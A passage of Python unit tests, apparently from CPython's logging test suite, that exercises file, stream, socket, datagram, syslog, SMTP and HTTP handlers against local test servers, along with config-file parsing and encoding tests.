class HandlerTest(BaseTest): def test_name(self): h = logging.Handler() h.name = 'generic' self.assertEqual(h.name, 'generic') h.name = 'anothergeneric' self.assertEqual(h.name, 'anothergeneric') self.assertRaises(NotImplementedError, h.emit, None) def test_builtin_handlers(self): # We can't actually *use* too many handlers in the tests, # but we can try instantiating them with various options if sys.platform in ('linux', 'darwin'): for existing in (True, False): fd, fn = tempfile.mkstemp() os.close(fd) if not existing: os.unlink(fn) h = logging.handlers.WatchedFileHandler(fn, delay=True) if existing: dev, ino = h.dev, h.ino self.assertEqual(dev, -1) self.assertEqual(ino, -1) r = logging.makeLogRecord({'msg': 'Test'}) h.handle(r) # Now remove the file. os.unlink(fn) self.assertFalse(os.path.exists(fn)) # The next call should recreate the file. h.handle(r) self.assertTrue(os.path.exists(fn)) else: self.assertEqual(h.dev, -1) self.assertEqual(h.ino, -1) h.close() if existing: os.unlink(fn) if sys.platform == 'darwin': sockname = '/var/run/syslog' else: sockname = '/dev/log' try: h = logging.handlers.SysLogHandler(sockname) self.assertEqual(h.facility, h.LOG_USER) self.assertTrue(h.unixsocket) h.close() except OSError: # syslogd might not be available pass for method in ('GET', 'POST', 'PUT'): if method == 'PUT': self.assertRaises(ValueError, logging.handlers.HTTPHandler, 'localhost', '/log', method) else: h = logging.handlers.HTTPHandler('localhost', '/log', method) h.close() h = logging.handlers.BufferingHandler(0) r = logging.makeLogRecord({}) self.assertTrue(h.shouldFlush(r)) h.close() h = logging.handlers.BufferingHandler(1) self.assertFalse(h.shouldFlush(r)) h.close() def test_path_objects(self): """ Test that Path objects are accepted as filename arguments to handlers. See Issue #27493. """ fd, fn = tempfile.mkstemp() os.close(fd) os.unlink(fn) pfn = pathlib.Path(fn) cases = ( (logging.FileHandler, (pfn, 'w')), (logging.handlers.RotatingFileHandler, (pfn, 'a')), (logging.handlers.TimedRotatingFileHandler, (pfn, 'h')), ) if sys.platform in ('linux', 'darwin'): cases += ((logging.handlers.WatchedFileHandler, (pfn, 'w')),) for cls, args in cases: h = cls(*args) self.assertTrue(os.path.exists(fn)) h.close() os.unlink(fn) @unittest.skipIf(os.name == 'nt', 'WatchedFileHandler not appropriate for Windows.') def test_race(self): # Issue #14632 refers. def remove_loop(fname, tries): for _ in range(tries): try: os.unlink(fname) self.deletion_time = time.time() except OSError: pass time.sleep(0.004 * random.randint(0, 4)) del_count = 500 log_count = 500 self.handle_time = None self.deletion_time = None for delay in (False, True): fd, fn = tempfile.mkstemp('.log', 'test_logging-3-') os.close(fd) remover = threading.Thread(target=remove_loop, args=(fn, del_count)) remover.daemon = True remover.start() h = logging.handlers.WatchedFileHandler(fn, delay=delay) f = logging.Formatter('%(asctime)s: %(levelname)s: %(message)s') h.setFormatter(f) try: for _ in range(log_count): time.sleep(0.005) r = logging.makeLogRecord({'msg': 'testing' }) try: self.handle_time = time.time() h.handle(r) except Exception: print('Deleted at %s, ' 'opened at %s' % (self.deletion_time, self.handle_time)) raise finally: remover.join() h.close() if os.path.exists(fn): os.unlink(fn) class BadStream(object): def write(self, data): raise RuntimeError('deliberate mistake') class TestStreamHandler(logging.StreamHandler): def handleError(self, record): self.error_record = record class StreamHandlerTest(BaseTest): def test_error_handling(self): h = TestStreamHandler(BadStream()) r = logging.makeLogRecord({}) old_raise = logging.raiseExceptions try: h.handle(r) self.assertIs(h.error_record, r) h = logging.StreamHandler(BadStream()) with support.captured_stderr() as stderr: h.handle(r) msg = '\nRuntimeError: deliberate mistake\n' self.assertIn(msg, stderr.getvalue()) logging.raiseExceptions = False with support.captured_stderr() as stderr: h.handle(r) self.assertEqual('', stderr.getvalue()) finally: logging.raiseExceptions = old_raise def test_stream_setting(self): """ Test setting the handler's stream """ h = logging.StreamHandler() stream = io.StringIO() old = h.setStream(stream) self.assertIs(old, sys.stderr) actual = h.setStream(old) self.assertIs(actual, stream) # test that setting to existing value returns None actual = h.setStream(old) self.assertIsNone(actual) # -- The following section could be moved into a server_helper.py module # -- if it proves to be of wider utility than just test_logging class TestSMTPServer(smtpd.SMTPServer): """ This class implements a test SMTP server. :param addr: A (host, port) tuple which the server listens on. You can specify a port value of zero: the server's *port* attribute will hold the actual port number used, which can be used in client connections. :param handler: A callable which will be called to process incoming messages. The handler will be passed the client address tuple, who the message is from, a list of recipients and the message data. :param poll_interval: The interval, in seconds, used in the underlying :func:`select` or :func:`poll` call by :func:`asyncore.loop`. :param sockmap: A dictionary which will be used to hold :class:`asyncore.dispatcher` instances used by :func:`asyncore.loop`. This avoids changing the :mod:`asyncore` module's global state. """ def __init__(self, addr, handler, poll_interval, sockmap): smtpd.SMTPServer.__init__(self, addr, None, map=sockmap, decode_data=True) self.port = self.socket.getsockname()[1] self._handler = handler self._thread = None self.poll_interval = poll_interval def process_message(self, peer, mailfrom, rcpttos, data): """ Delegates to the handler passed in to the server's constructor. Typically, this will be a test case method. :param peer: The client (host, port) tuple. :param mailfrom: The address of the sender. :param rcpttos: The addresses of the recipients. :param data: The message. """ self._handler(peer, mailfrom, rcpttos, data) def start(self): """ Start the server running on a separate daemon thread. """ self._thread = t = threading.Thread(target=self.serve_forever, args=(self.poll_interval,)) t.setDaemon(True) t.start() def serve_forever(self, poll_interval): """ Run the :mod:`asyncore` loop until normal termination conditions arise. :param poll_interval: The interval, in seconds, used in the underlying :func:`select` or :func:`poll` call by :func:`asyncore.loop`. """ asyncore.loop(poll_interval, map=self._map) def stop(self, timeout=None): """ Stop the thread by closing the server instance. Wait for the server thread to terminate. :param timeout: How long to wait for the server thread to terminate. """ self.close() support.join_thread(self._thread, timeout) self._thread = None asyncore.close_all(map=self._map, ignore_all=True) class ControlMixin(object): """ This mixin is used to start a server on a separate thread, and shut it down programmatically. Request handling is simplified - instead of needing to derive a suitable RequestHandler subclass, you just provide a callable which will be passed each received request to be processed. :param handler: A handler callable which will be called with a single parameter - the request - in order to process the request. This handler is called on the server thread, effectively meaning that requests are processed serially. While not quite Web scale ;-), this should be fine for testing applications. :param poll_interval: The polling interval in seconds. """ def __init__(self, handler, poll_interval): self._thread = None self.poll_interval = poll_interval self._handler = handler self.ready = threading.Event() def start(self): """ Create a daemon thread to run the server, and start it. """ self._thread = t = threading.Thread(target=self.serve_forever, args=(self.poll_interval,)) t.setDaemon(True) t.start() def serve_forever(self, poll_interval): """ Run the server. Set the ready flag before entering the service loop. """ self.ready.set() super(ControlMixin, self).serve_forever(poll_interval) def stop(self, timeout=None): """ Tell the server thread to stop, and wait for it to do so. :param timeout: How long to wait for the server thread to terminate. """ self.shutdown() if self._thread is not None: support.join_thread(self._thread, timeout) self._thread = None self.server_close() self.ready.clear() class TestHTTPServer(ControlMixin, HTTPServer): """ An HTTP server which is controllable using :class:`ControlMixin`. :param addr: A tuple with the IP address and port to listen on. :param handler: A handler callable which will be called with a single parameter - the request - in order to process the request. :param poll_interval: The polling interval in seconds. :param log: Pass ``True`` to enable log messages. """ def __init__(self, addr, handler, poll_interval=0.5, log=False, sslctx=None): class DelegatingHTTPRequestHandler(BaseHTTPRequestHandler): def __getattr__(self, name, default=None): if name.startswith('do_'): return self.process_request raise AttributeError(name) def process_request(self): self.server._handler(self) def log_message(self, format, *args): if log: super(DelegatingHTTPRequestHandler, self).log_message(format, *args) HTTPServer.__init__(self, addr, DelegatingHTTPRequestHandler) ControlMixin.__init__(self, handler, poll_interval) self.sslctx = sslctx def get_request(self): try: sock, addr = self.socket.accept() if self.sslctx: sock = self.sslctx.wrap_socket(sock, server_side=True) except OSError as e: # socket errors are silenced by the caller, print them here sys.stderr.write("Got an error:\n%s\n" % e) raise return sock, addr class TestTCPServer(ControlMixin, ThreadingTCPServer): """ A TCP server which is controllable using :class:`ControlMixin`. :param addr: A tuple with the IP address and port to listen on. :param handler: A handler callable which will be called with a single parameter - the request - in order to process the request. :param poll_interval: The polling interval in seconds. :bind_and_activate: If True (the default), binds the server and starts it listening. If False, you need to call :meth:`server_bind` and :meth:`server_activate` at some later time before calling :meth:`start`, so that the server will set up the socket and listen on it. """ allow_reuse_address = True def __init__(self, addr, handler, poll_interval=0.5, bind_and_activate=True): class DelegatingTCPRequestHandler(StreamRequestHandler): def handle(self): self.server._handler(self) ThreadingTCPServer.__init__(self, addr, DelegatingTCPRequestHandler, bind_and_activate) ControlMixin.__init__(self, handler, poll_interval) def server_bind(self): super(TestTCPServer, self).server_bind() self.port = self.socket.getsockname()[1] class TestUDPServer(ControlMixin, ThreadingUDPServer): """ A UDP server which is controllable using :class:`ControlMixin`. :param addr: A tuple with the IP address and port to listen on. :param handler: A handler callable which will be called with a single parameter - the request - in order to process the request. :param poll_interval: The polling interval for shutdown requests, in seconds. :bind_and_activate: If True (the default), binds the server and starts it listening. If False, you need to call :meth:`server_bind` and :meth:`server_activate` at some later time before calling :meth:`start`, so that the server will set up the socket and listen on it. """ def __init__(self, addr, handler, poll_interval=0.5, bind_and_activate=True): class DelegatingUDPRequestHandler(DatagramRequestHandler): def handle(self): self.server._handler(self) def finish(self): data = self.wfile.getvalue() if data: try: super(DelegatingUDPRequestHandler, self).finish() except OSError: if not self.server._closed: raise ThreadingUDPServer.__init__(self, addr, DelegatingUDPRequestHandler, bind_and_activate) ControlMixin.__init__(self, handler, poll_interval) self._closed = False def server_bind(self): super(TestUDPServer, self).server_bind() self.port = self.socket.getsockname()[1] def server_close(self): super(TestUDPServer, self).server_close() self._closed = True if hasattr(socket, "AF_UNIX"): class TestUnixStreamServer(TestTCPServer): address_family = socket.AF_UNIX class TestUnixDatagramServer(TestUDPServer): address_family = socket.AF_UNIX # - end of server_helper section class SMTPHandlerTest(BaseTest): TIMEOUT = 8.0 def test_basic(self): sockmap = {} server = TestSMTPServer((support.HOST, 0), self.process_message, 0.001, sockmap) server.start() addr = (support.HOST, server.port) h = logging.handlers.SMTPHandler(addr, 'me', 'you', 'Log', timeout=self.TIMEOUT) self.assertEqual(h.toaddrs, ['you']) self.messages = [] r = logging.makeLogRecord({'msg': 'Hello \u2713'}) self.handled = threading.Event() h.handle(r) self.handled.wait(self.TIMEOUT) # 14314: don't wait forever server.stop() self.assertTrue(self.handled.is_set()) self.assertEqual(len(self.messages), 1) peer, mailfrom, rcpttos, data = self.messages[0] self.assertEqual(mailfrom, 'me') self.assertEqual(rcpttos, ['you']) self.assertIn('\nSubject: Log\n', data) self.assertTrue(data.endswith('\n\nHello \u2713')) h.close() def process_message(self, *args): self.messages.append(args) self.handled.set() class MemoryHandlerTest(BaseTest): """Tests for the MemoryHandler.""" # Do not bother with a logger name group. expected_log_pat = r"^[\w.]+ -> (\w+): (\d+)$" def setUp(self): BaseTest.setUp(self) self.mem_hdlr = logging.handlers.MemoryHandler(10, logging.WARNING, self.root_hdlr) self.mem_logger = logging.getLogger('mem') self.mem_logger.propagate = 0 self.mem_logger.addHandler(self.mem_hdlr) def tearDown(self): self.mem_hdlr.close() BaseTest.tearDown(self) def test_flush(self): # The memory handler flushes to its target handler based on specific # criteria (message count and message level). self.mem_logger.debug(self.next_message()) self.assert_log_lines([]) self.mem_logger.info(self.next_message()) self.assert_log_lines([]) # This will flush because the level is >= logging.WARNING self.mem_logger.warning(self.next_message()) lines = [ ('DEBUG', '1'), ('INFO', '2'), ('WARNING', '3'), ] self.assert_log_lines(lines) for n in (4, 14): for i in range(9): self.mem_logger.debug(self.next_message()) self.assert_log_lines(lines) # This will flush because it's the 10th message since the last # flush. self.mem_logger.debug(self.next_message()) lines = lines + [('DEBUG', str(i)) for i in range(n, n + 10)] self.assert_log_lines(lines) self.mem_logger.debug(self.next_message()) self.assert_log_lines(lines) def test_flush_on_close(self): """ Test that the flush-on-close configuration works as expected. """ self.mem_logger.debug(self.next_message()) self.assert_log_lines([]) self.mem_logger.info(self.next_message()) self.assert_log_lines([]) self.mem_logger.removeHandler(self.mem_hdlr) # Default behaviour is to flush on close. Check that it happens. self.mem_hdlr.close() lines = [ ('DEBUG', '1'), ('INFO', '2'), ] self.assert_log_lines(lines) # Now configure for flushing not to be done on close. self.mem_hdlr = logging.handlers.MemoryHandler(10, logging.WARNING, self.root_hdlr, False) self.mem_logger.addHandler(self.mem_hdlr) self.mem_logger.debug(self.next_message()) self.assert_log_lines(lines) # no change self.mem_logger.info(self.next_message()) self.assert_log_lines(lines) # no change self.mem_logger.removeHandler(self.mem_hdlr) self.mem_hdlr.close() # assert that no new lines have been added self.assert_log_lines(lines) # no change class ExceptionFormatter(logging.Formatter): """A special exception formatter.""" def formatException(self, ei): return "Got a [%s]" % ei[0].__name__ class ConfigFileTest(BaseTest): """Reading logging config from a .ini-style config file.""" expected_log_pat = r"^(\w+) \+\+ (\w+)$" # config0 is a standard configuration. config0 = """ [loggers] keys=root [handlers] keys=hand1 [formatters] keys=form1 [logger_root] level=WARNING handlers=hand1 [handler_hand1] class=StreamHandler level=NOTSET formatter=form1 args=(sys.stdout,) [formatter_form1] format=%(levelname)s ++ %(message)s datefmt= """ # config1 adds a little to the standard configuration. config1 = """ [loggers] keys=root,parser [handlers] keys=hand1 [formatters] keys=form1 [logger_root] level=WARNING handlers= [logger_parser] level=DEBUG handlers=hand1 propagate=1 qualname=compiler.parser [handler_hand1] class=StreamHandler level=NOTSET formatter=form1 args=(sys.stdout,) [formatter_form1] format=%(levelname)s ++ %(message)s datefmt= """ # config1a moves the handler to the root. config1a = """ [loggers] keys=root,parser [handlers] keys=hand1 [formatters] keys=form1 [logger_root] level=WARNING handlers=hand1 [logger_parser] level=DEBUG handlers= propagate=1 qualname=compiler.parser [handler_hand1] class=StreamHandler level=NOTSET formatter=form1 args=(sys.stdout,) [formatter_form1] format=%(levelname)s ++ %(message)s datefmt= """ # config2 has a subtle configuration error that should be reported config2 = config1.replace("sys.stdout", "sys.stbout") # config3 has a less subtle configuration error config3 = config1.replace("formatter=form1", "formatter=misspelled_name") # config4 specifies a custom formatter class to be loaded config4 = """ [loggers] keys=root [handlers] keys=hand1 [formatters] keys=form1 [logger_root] level=NOTSET handlers=hand1 [handler_hand1] class=StreamHandler level=NOTSET formatter=form1 args=(sys.stdout,) [formatter_form1] class=""" + __name__ + """.ExceptionFormatter format=%(levelname)s:%(name)s:%(message)s datefmt= """ # config5 specifies a custom handler class to be loaded config5 = config1.replace('class=StreamHandler', 'class=logging.StreamHandler') # config6 uses ', ' delimiters in the handlers and formatters sections config6 = """ [loggers] keys=root,parser [handlers] keys=hand1, hand2 [formatters] keys=form1, form2 [logger_root] level=WARNING handlers= [logger_parser] level=DEBUG handlers=hand1 propagate=1 qualname=compiler.parser [handler_hand1] class=StreamHandler level=NOTSET formatter=form1 args=(sys.stdout,) [handler_hand2] class=StreamHandler level=NOTSET formatter=form1 args=(sys.stderr,) [formatter_form1] format=%(levelname)s ++ %(message)s datefmt= [formatter_form2] format=%(message)s datefmt= """ # config7 adds a compiler logger, and uses kwargs instead of args. config7 = """ [loggers] keys=root,parser,compiler [handlers] keys=hand1 [formatters] keys=form1 [logger_root] level=WARNING handlers=hand1 [logger_compiler] level=DEBUG handlers= propagate=1 qualname=compiler [logger_parser] level=DEBUG handlers= propagate=1 qualname=compiler.parser [handler_hand1] class=StreamHandler level=NOTSET formatter=form1 kwargs={'stream': sys.stdout,} [formatter_form1] format=%(levelname)s ++ %(message)s datefmt= """ disable_test = """ [loggers] keys=root [handlers] keys=screen [formatters] keys= [logger_root] level=DEBUG handlers=screen [handler_screen] level=DEBUG class=StreamHandler args=(sys.stdout,) formatter= """ def apply_config(self, conf, **kwargs): file = io.StringIO(textwrap.dedent(conf)) logging.config.fileConfig(file, **kwargs) def test_config0_ok(self): # A simple config file which overrides the default settings. with support.captured_stdout() as output: self.apply_config(self.config0) logger = logging.getLogger() # Won't output anything logger.info(self.next_message()) # Outputs a message logger.error(self.next_message()) self.assert_log_lines([ ('ERROR', '2'), ], stream=output) # Original logger output is empty. self.assert_log_lines([]) def test_config0_using_cp_ok(self): # A simple config file which overrides the default settings. with support.captured_stdout() as output: file = io.StringIO(textwrap.dedent(self.config0)) cp = configparser.ConfigParser() cp.read_file(file) logging.config.fileConfig(cp) logger = logging.getLogger() # Won't output anything logger.info(self.next_message()) # Outputs a message logger.error(self.next_message()) self.assert_log_lines([ ('ERROR', '2'), ], stream=output) # Original logger output is empty. self.assert_log_lines([]) def test_config1_ok(self, config=config1): # A config file defining a sub-parser as well. with support.captured_stdout() as output: self.apply_config(config) logger = logging.getLogger("compiler.parser") # Both will output a message logger.info(self.next_message()) logger.error(self.next_message()) self.assert_log_lines([ ('INFO', '1'), ('ERROR', '2'), ], stream=output) # Original logger output is empty. self.assert_log_lines([]) def test_config2_failure(self): # A simple config file which overrides the default settings. self.assertRaises(Exception, self.apply_config, self.config2) def test_config3_failure(self): # A simple config file which overrides the default settings. self.assertRaises(Exception, self.apply_config, self.config3) def test_config4_ok(self): # A config file specifying a custom formatter class. with support.captured_stdout() as output: self.apply_config(self.config4) logger = logging.getLogger() try: raise RuntimeError() except RuntimeError: logging.exception("just testing") sys.stdout.seek(0) self.assertEqual(output.getvalue(), "ERROR:root:just testing\nGot a [RuntimeError]\n") # Original logger output is empty self.assert_log_lines([]) def test_config5_ok(self): self.test_config1_ok(config=self.config5) def test_config6_ok(self): self.test_config1_ok(config=self.config6) def test_config7_ok(self): with support.captured_stdout() as output: self.apply_config(self.config1a) logger = logging.getLogger("compiler.parser") # See issue #11424. compiler-hyphenated sorts # between compiler and compiler.xyz and this # was preventing compiler.xyz from being included # in the child loggers of compiler because of an # overzealous loop termination condition. hyphenated = logging.getLogger('compiler-hyphenated') # All will output a message logger.info(self.next_message()) logger.error(self.next_message()) hyphenated.critical(self.next_message()) self.assert_log_lines([ ('INFO', '1'), ('ERROR', '2'), ('CRITICAL', '3'), ], stream=output) # Original logger output is empty. self.assert_log_lines([]) with support.captured_stdout() as output: self.apply_config(self.config7) logger = logging.getLogger("compiler.parser") self.assertFalse(logger.disabled) # Both will output a message logger.info(self.next_message()) logger.error(self.next_message()) logger = logging.getLogger("compiler.lexer") # Both will output a message logger.info(self.next_message()) logger.error(self.next_message()) # Will not appear hyphenated.critical(self.next_message()) self.assert_log_lines([ ('INFO', '4'), ('ERROR', '5'), ('INFO', '6'), ('ERROR', '7'), ], stream=output) # Original logger output is empty. self.assert_log_lines([]) def test_logger_disabling(self): self.apply_config(self.disable_test) logger = logging.getLogger('some_pristine_logger') self.assertFalse(logger.disabled) self.apply_config(self.disable_test) self.assertTrue(logger.disabled) self.apply_config(self.disable_test, disable_existing_loggers=False) self.assertFalse(logger.disabled) class SocketHandlerTest(BaseTest): """Test for SocketHandler objects.""" server_class = TestTCPServer address = ('localhost', 0) def setUp(self): """Set up a TCP server to receive log messages, and a SocketHandler pointing to that server's address and port.""" BaseTest.setUp(self) # Issue #29177: deal with errors that happen during setup self.server = self.sock_hdlr = self.server_exception = None try: self.server = server = self.server_class(self.address, self.handle_socket, 0.01) server.start() # Uncomment next line to test error recovery in setUp() # raise OSError('dummy error raised') except OSError as e: self.server_exception = e return server.ready.wait() hcls = logging.handlers.SocketHandler if isinstance(server.server_address, tuple): self.sock_hdlr = hcls('localhost', server.port) else: self.sock_hdlr = hcls(server.server_address, None) self.log_output = '' self.root_logger.removeHandler(self.root_logger.handlers[0]) self.root_logger.addHandler(self.sock_hdlr) self.handled = threading.Semaphore(0) def tearDown(self): """Shutdown the TCP server.""" try: if self.sock_hdlr: self.root_logger.removeHandler(self.sock_hdlr) self.sock_hdlr.close() if self.server: self.server.stop(2.0) finally: BaseTest.tearDown(self) def handle_socket(self, request): conn = request.connection while True: chunk = conn.recv(4) if len(chunk) < 4: break slen = struct.unpack(">L", chunk)[0] chunk = conn.recv(slen) while len(chunk) < slen: chunk = chunk + conn.recv(slen - len(chunk)) obj = pickle.loads(chunk) record = logging.makeLogRecord(obj) self.log_output += record.msg + '\n' self.handled.release() def test_output(self): # The log message sent to the SocketHandler is properly received. if self.server_exception: self.skipTest(self.server_exception) logger = logging.getLogger("tcp") logger.error("spam") self.handled.acquire() logger.debug("eggs") self.handled.acquire() self.assertEqual(self.log_output, "spam\neggs\n") def test_noserver(self): if self.server_exception: self.skipTest(self.server_exception) # Avoid timing-related failures due to SocketHandler's own hard-wired # one-second timeout on socket.create_connection() (issue #16264). self.sock_hdlr.retryStart = 2.5 # Kill the server self.server.stop(2.0) # The logging call should try to connect, which should fail try: raise RuntimeError('Deliberate mistake') except RuntimeError: self.root_logger.exception('Never sent') self.root_logger.error('Never sent, either') now = time.time() self.assertGreater(self.sock_hdlr.retryTime, now) time.sleep(self.sock_hdlr.retryTime - now + 0.001) self.root_logger.error('Nor this') def _get_temp_domain_socket(): fd, fn = tempfile.mkstemp(prefix='test_logging_', suffix='.sock') os.close(fd) # just need a name - file can't be present, or we'll get an # 'address already in use' error. os.remove(fn) return fn @unittest.skipUnless(hasattr(socket, "AF_UNIX"), "Unix sockets required") class UnixSocketHandlerTest(SocketHandlerTest): """Test for SocketHandler with unix sockets.""" if hasattr(socket, "AF_UNIX"): server_class = TestUnixStreamServer def setUp(self): # override the definition in the base class self.address = _get_temp_domain_socket() SocketHandlerTest.setUp(self) def tearDown(self): SocketHandlerTest.tearDown(self) support.unlink(self.address) class DatagramHandlerTest(BaseTest): """Test for DatagramHandler.""" server_class = TestUDPServer address = ('localhost', 0) def setUp(self): """Set up a UDP server to receive log messages, and a DatagramHandler pointing to that server's address and port.""" BaseTest.setUp(self) # Issue #29177: deal with errors that happen during setup self.server = self.sock_hdlr = self.server_exception = None try: self.server = server = self.server_class(self.address, self.handle_datagram, 0.01) server.start() # Uncomment next line to test error recovery in setUp() # raise OSError('dummy error raised') except OSError as e: self.server_exception = e return server.ready.wait() hcls = logging.handlers.DatagramHandler if isinstance(server.server_address, tuple): self.sock_hdlr = hcls('localhost', server.port) else: self.sock_hdlr = hcls(server.server_address, None) self.log_output = '' self.root_logger.removeHandler(self.root_logger.handlers[0]) self.root_logger.addHandler(self.sock_hdlr) self.handled = threading.Event() def tearDown(self): """Shutdown the UDP server.""" try: if self.server: self.server.stop(2.0) if self.sock_hdlr: self.root_logger.removeHandler(self.sock_hdlr) self.sock_hdlr.close() finally: BaseTest.tearDown(self) def handle_datagram(self, request): slen = struct.pack('>L', 0) # length of prefix packet = request.packet[len(slen):] obj = pickle.loads(packet) record = logging.makeLogRecord(obj) self.log_output += record.msg + '\n' self.handled.set() def test_output(self): # The log message sent to the DatagramHandler is properly received. if self.server_exception: self.skipTest(self.server_exception) logger = logging.getLogger("udp") logger.error("spam") self.handled.wait() self.handled.clear() logger.error("eggs") self.handled.wait() self.assertEqual(self.log_output, "spam\neggs\n") @unittest.skipUnless(hasattr(socket, "AF_UNIX"), "Unix sockets required") class UnixDatagramHandlerTest(DatagramHandlerTest): """Test for DatagramHandler using Unix sockets.""" if hasattr(socket, "AF_UNIX"): server_class = TestUnixDatagramServer def setUp(self): # override the definition in the base class self.address = _get_temp_domain_socket() DatagramHandlerTest.setUp(self) def tearDown(self): DatagramHandlerTest.tearDown(self) support.unlink(self.address) class SysLogHandlerTest(BaseTest): """Test for SysLogHandler using UDP.""" server_class = TestUDPServer address = ('localhost', 0) def setUp(self): """Set up a UDP server to receive log messages, and a SysLogHandler pointing to that server's address and port.""" BaseTest.setUp(self) # Issue #29177: deal with errors that happen during setup self.server = self.sl_hdlr = self.server_exception = None try: self.server = server = self.server_class(self.address, self.handle_datagram, 0.01) server.start() # Uncomment next line to test error recovery in setUp() # raise OSError('dummy error raised') except OSError as e: self.server_exception = e return server.ready.wait() hcls = logging.handlers.SysLogHandler if isinstance(server.server_address, tuple): self.sl_hdlr = hcls((server.server_address[0], server.port)) else: self.sl_hdlr = hcls(server.server_address) self.log_output = '' self.root_logger.removeHandler(self.root_logger.handlers[0]) self.root_logger.addHandler(self.sl_hdlr) self.handled = threading.Event() def tearDown(self): """Shutdown the server.""" try: if self.server: self.server.stop(2.0) if self.sl_hdlr: self.root_logger.removeHandler(self.sl_hdlr) self.sl_hdlr.close() finally: BaseTest.tearDown(self) def handle_datagram(self, request): self.log_output = request.packet self.handled.set() def test_output(self): if self.server_exception: self.skipTest(self.server_exception) # The log message sent to the SysLogHandler is properly received. logger = logging.getLogger("slh") logger.error("sp\xe4m") self.handled.wait() self.assertEqual(self.log_output, b'<11>sp\xc3\xa4m\x00') self.handled.clear() self.sl_hdlr.append_nul = False logger.error("sp\xe4m") self.handled.wait() self.assertEqual(self.log_output, b'<11>sp\xc3\xa4m') self.handled.clear() self.sl_hdlr.ident = "h\xe4m-" logger.error("sp\xe4m") self.handled.wait() self.assertEqual(self.log_output, b'<11>h\xc3\xa4m-sp\xc3\xa4m') @unittest.skipUnless(hasattr(socket, "AF_UNIX"), "Unix sockets required") class UnixSysLogHandlerTest(SysLogHandlerTest): """Test for SysLogHandler with Unix sockets.""" if hasattr(socket, "AF_UNIX"): server_class = TestUnixDatagramServer def setUp(self): # override the definition in the base class self.address = _get_temp_domain_socket() SysLogHandlerTest.setUp(self) def tearDown(self): SysLogHandlerTest.tearDown(self) support.unlink(self.address) @unittest.skipUnless(support.IPV6_ENABLED, 'IPv6 support required for this test.') class IPv6SysLogHandlerTest(SysLogHandlerTest): """Test for SysLogHandler with IPv6 host.""" server_class = TestUDPServer address = ('::1', 0) def setUp(self): self.server_class.address_family = socket.AF_INET6 super(IPv6SysLogHandlerTest, self).setUp() def tearDown(self): self.server_class.address_family = socket.AF_INET super(IPv6SysLogHandlerTest, self).tearDown() class HTTPHandlerTest(BaseTest): """Test for HTTPHandler.""" def setUp(self): """Set up an HTTP server to receive log messages, and a HTTPHandler pointing to that server's address and port.""" BaseTest.setUp(self) self.handled = threading.Event() def handle_request(self, request): self.command = request.command self.log_data = urlparse(request.path) if self.command == 'POST': try: rlen = int(request.headers['Content-Length']) self.post_data = request.rfile.read(rlen) except: self.post_data = None request.send_response(200) request.end_headers() self.handled.set() def test_output(self): # The log message sent to the HTTPHandler is properly received. logger = logging.getLogger("http") root_logger = self.root_logger root_logger.removeHandler(self.root_logger.handlers[0]) for secure in (False, True): addr = ('localhost', 0) if secure: try: import ssl except ImportError: sslctx = None else: here = os.path.dirname(__file__) localhost_cert = os.path.join(here, "keycert.pem") sslctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) sslctx.load_cert_chain(localhost_cert) context = ssl.create_default_context(cafile=localhost_cert) else: sslctx = None context = None self.server = server = TestHTTPServer(addr, self.handle_request, 0.01, sslctx=sslctx) server.start() server.ready.wait() host = 'localhost:%d' % server.server_port secure_client = secure and sslctx self.h_hdlr = logging.handlers.HTTPHandler(host, '/frob', secure=secure_client, context=context, credentials=('foo', 'bar')) self.log_data = None root_logger.addHandler(self.h_hdlr) for method in ('GET', 'POST'): self.h_hdlr.method = method self.handled.clear() msg = "sp\xe4m" logger.error(msg) self.handled.wait() self.assertEqual(self.log_data.path, '/frob') self.assertEqual(self.command, method) if method == 'GET': d = parse_qs(self.log_data.query) else: d = parse_qs(self.post_data.decode('utf-8')) self.assertEqual(d['name'], ['http']) self.assertEqual(d['funcName'], ['test_output']) self.assertEqual(d['msg'], [msg]) self.server.stop(2.0) self.root_logger.removeHandler(self.h_hdlr) self.h_hdlr.close() class MemoryTest(BaseTest): """Test memory persistence of logger objects.""" def setUp(self): """Create a dict to remember potentially destroyed objects.""" BaseTest.setUp(self) self._survivors = {} def _watch_for_survival(self, *args): """Watch the given objects for survival, by creating weakrefs to them.""" for obj in args: key = id(obj), repr(obj) self._survivors[key] = weakref.ref(obj) def _assertTruesurvival(self): """Assert that all objects watched for survival have survived.""" # Trigger cycle breaking. gc.collect() dead = [] for (id_, repr_), ref in self._survivors.items(): if ref() is None: dead.append(repr_) if dead: self.fail("%d objects should have survived " "but have been destroyed: %s" % (len(dead), ", ".join(dead))) def test_persistent_loggers(self): # Logger objects are persistent and retain their configuration, even # if visible references are destroyed. self.root_logger.setLevel(logging.INFO) foo = logging.getLogger("foo") self._watch_for_survival(foo) foo.setLevel(logging.DEBUG) self.root_logger.debug(self.next_message()) foo.debug(self.next_message()) self.assert_log_lines([ ('foo', 'DEBUG', '2'), ]) del foo # foo has survived. self._assertTruesurvival() # foo has retained its settings. bar = logging.getLogger("foo") bar.debug(self.next_message()) self.assert_log_lines([ ('foo', 'DEBUG', '2'), ('foo', 'DEBUG', '3'), ]) class EncodingTest(BaseTest): def test_encoding_plain_file(self): # In Python 2.x, a plain file object is treated as having no encoding. log = logging.getLogger("test") fd, fn = tempfile.mkstemp(".log", "test_logging-1-") os.close(fd) # the non-ascii data we write to the log. data = "foo\x80" try: handler = logging.FileHandler(fn, encoding="utf-8") log.addHandler(handler) try: # write non-ascii data to the log. log.warning(data) finally: log.removeHandler(handler) handler.close() # check we wrote exactly those bytes, ignoring trailing \n etc f = open(fn, encoding="utf-8") try: self.assertEqual(f.read().rstrip(), data) finally: f.close() finally: if os.path.isfile(fn): os.remove(fn) def test_encoding_cyrillic_unicode(self): log = logging.getLogger("test") # Get a message in Unicode: Do svidanya in Cyrillic (meaning goodbye) message = '\u0434\u043e \u0441\u0432\u0438\u0434\u0430\u043d\u0438\u044f' # Ensure it's written in a Cyrillic encoding writer_class = codecs.getwriter('cp1251') writer_class.encoding = 'cp1251' stream = io.BytesIO() writer = writer_class(stream, 'strict') handler = logging.StreamHandler(writer) log.addHandler(handler) try: log.warning(message) finally: log.removeHandler(handler) handler.close() # check we wrote exactly those bytes, ignoring trailing \n etc s = stream.getvalue() # Compare against what the data should be when encoded in CP-1251 self.assertEqual(s, b'\xe4\xee \xf1\xe2\xe8\xe4\xe0\xed\xe8\xff\n') class WarningsTest(BaseTest): def test_warnings(self): with warnings.catch_warnings(): logging.captureWarnings(True) self.addCleanup(logging.captureWarnings, False) warnings.filterwarnings("always", category=UserWarning) stream = io.StringIO() h = logging.StreamHandler(stream) logger = 